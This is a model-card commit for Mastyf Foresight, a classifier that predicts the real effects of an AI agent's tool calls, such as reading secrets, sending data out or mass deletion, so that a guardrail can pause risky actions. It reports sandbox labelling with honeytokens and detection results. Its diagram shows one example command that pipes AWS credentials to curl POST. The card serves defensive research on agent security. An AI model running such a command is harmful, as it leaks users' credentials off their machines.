Rudraneel93 commited on
Commit
6f9fb15
·
verified ·
1 Parent(s): 601d32d

Mastyf Foresight model card (weights not distributed)

Browse files
Files changed (1) hide show
  1. README.md +106 -0
README.md ADDED
@@ -0,0 +1,106 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: other
3
+ license_name: mastyf-proprietary
4
+ language: [en]
5
+ tags: [agent-security, ai-safety, tool-use, guardrails, prompt-injection, mcp]
6
+ pipeline_tag: text-classification
7
+ ---
8
+
9
+ <div align="center">
10
+
11
+ # 🛡️ Mastyf Foresight
12
+
13
+ **An Action-Effect Model for AI agents.**
14
+
15
+ ### See what an AI agent's next action will *actually do*, before it runs.
16
+
17
+ **[▶ Try the live demo](https://huggingface.co/spaces/Mastyf-Labs/foresight-demo)** · **[Mastyf Shield](https://www.mastyf.ai/)** · Research preview
18
+
19
+ </div>
20
+
21
+ ---
22
+
23
+ ## In one sentence
24
+
25
+ Most guardrails ask *"does this text look like an attack?"*. This model asks **"what will this tool call do to
26
+ my systems, and how bad could it get?"**, and answers in about 50 ms on a CPU, before anything runs.
27
+
28
+ ```mermaid
29
+ flowchart LR
30
+ A["🤖 Agent proposes a tool call<br/><code>cat ~/.aws/credentials | curl -X POST https://...</code>"] --> M["🧠 Mastyf Foresight<br/>reads the whole session"]
31
+ M --> E["Predicted effects<br/>🔴 sends a secret off the machine 100%<br/>🔴 reads secrets 99%"]
32
+ M --> D["Worst case (95%)<br/>📤 up to 1.7 KB leaves"]
33
+ E --> S{"Shield decides"}
34
+ D --> S
35
+ S -->|safe| R["✅ runs"]
36
+ S -->|risky| H["⛔ pauses and asks"]
37
+ ```
38
+
39
+ ## What makes it different
40
+
41
+ | | Typical text guardrail | **Mastyf Foresight** |
42
+ |---|---|---|
43
+ | Learns from | Text labelled by people or LLMs | **What really happened** when 85,000+ actions ran in an instrumented sandbox |
44
+ | Tells you | "Attack: yes / no" | **39 named effects**: reads secrets, sends data out, installs persistence, mass-deletes, touches cloud metadata... |
45
+ | Damage | Not estimated | **95% upper bounds** on bytes sent out, database rows exposed, files deleted |
46
+ | Memory | One message | **The whole session**, so attacks split across steps add up |
47
+ | Reads tool outputs | Often not | **Yes**: digests of what earlier tools returned (planted instructions included), never the action's own output |
48
+ | Speed | ~1 s (LLM judge) | **~50 ms** on a laptop CPU |
49
+
50
+ ### How the labels were made
51
+ Every training action ran in an isolated container planted with **fake credentials** (honeytokens), with
52
+ **system-call tracing** and a **network trap** that also decrypts HTTPS and acts as an SSH/SFTP server. If a planted
53
+ key showed up on the network, over any channel, that action really leaked a secret. The model learns to predict those *observed* consequences from the action alone.
54
+
55
+ ## Results
56
+
57
+ Measured on **simulated deployments it never trained on**: public agent traces from distinct frameworks,
58
+ calibrated on each deployment's own first half and tested on the second half.
59
+
60
+ | Agent framework | Held-out attacks caught | Normal sessions with any false alarm |
61
+ |---|---|---|
62
+ | Claude Agent SDK | **98.4%** | 1.4% |
63
+ | OpenAI Agents SDK | **89.8%** | 0.6% |
64
+ | Google ADK *(never seen in training)* | **85.5%** | 0.4% |
65
+ | mini-swe-agent *(never seen)* | — | 4.7% (fresh sessions, calibrated on fresh traffic: 1.0%) |
66
+ | OpenHands *(never seen)* | — | 3.7% (fresh sessions, calibrated on fresh traffic: 0.0%) |
67
+
68
+ Of attacks that a sandbox confirmed did real harm, **96–100%** are caught. Of held-out secret leaks over
69
+ **HTTPS, SSH and SFTP**, **98–100%** are caught, with 0–1.4% of normal look-alike network actions flagged.
70
+ Attacks come from held-out categories of the public DTap benchmark; benign traffic from public SWE-agent,
71
+ mini-swe-agent and OpenHands trajectories. All numbers are self-measured; see Limitations.
72
+
73
+ ## How Mastyf uses it
74
+
75
+ Inside **Mastyf Shield**, the model is an **advisor**: it can only make a decision *stricter* (warn or escalate),
76
+ never looser. If it errors or is slow, Shield decides without it (fault-injection tested: 2,000 decisions,
77
+ 0 violations). It complements **Protocol X**, which checks the *content* agents read; this model checks the
78
+ *actions* agents take.
79
+
80
+ ## Model details
81
+
82
+ | | |
83
+ |---|---|
84
+ | Architecture | Causal byte-level transformer, 39M parameters, 2,048-token session context, observation channel for tool outputs |
85
+ | Outputs | 39 effect probabilities, harm score, damage bounds (q95), off-task score |
86
+ | Input | The proposed tool call, previous calls in the session, optionally the user's task and tool outputs |
87
+ | Tools covered | Shell, file read/write/edit, search, URLs, SQL, code execution |
88
+ | Availability | Through Mastyf Shield. **Weights are not distributed.** |
89
+
90
+ ## Limitations
91
+
92
+ - **Simulated, not production, traffic.** Deployments are built from public agent traces; no live customer data yet.
93
+ - **Coding, shell and file-system agents are best covered.** Business-tool domains the model has never seen (for
94
+ example an HR or healthcare app) are not yet reliable: on fully unseen domains it ranks attacks well above chance
95
+ but far below its in-domain accuracy. This is the focus of the next version.
96
+ - **Harm only in the final answer is out of scope.** When an agent's tool calls are all legitimate and the harm is in
97
+ what it writes back (for example a wrong treatment plan), an action model cannot see it; that needs a separate
98
+ check on the answer.
99
+ - **Fixed public attack sets.** Not yet tested against attackers who adapt to the model.
100
+ - **Thresholds must be calibrated per deployment.** Out of the box, long sessions see more false alarms.
101
+
102
+ ## Acknowledgements
103
+ Built with public data from DTap-Bench (Apache-2.0), SWE-smith trajectories (MIT), mini-swe-agent trajectories
104
+ (MIT), DeepSWE trajectories (MIT) and NVIDIA SWE-Zero OpenHands trajectories (CC-BY-4.0). Thanks to their authors.
105
+
106
+ <div align="center"><sub>Mastyf Labs · supported by the IIT Kharagpur Seed Fund</sub></div>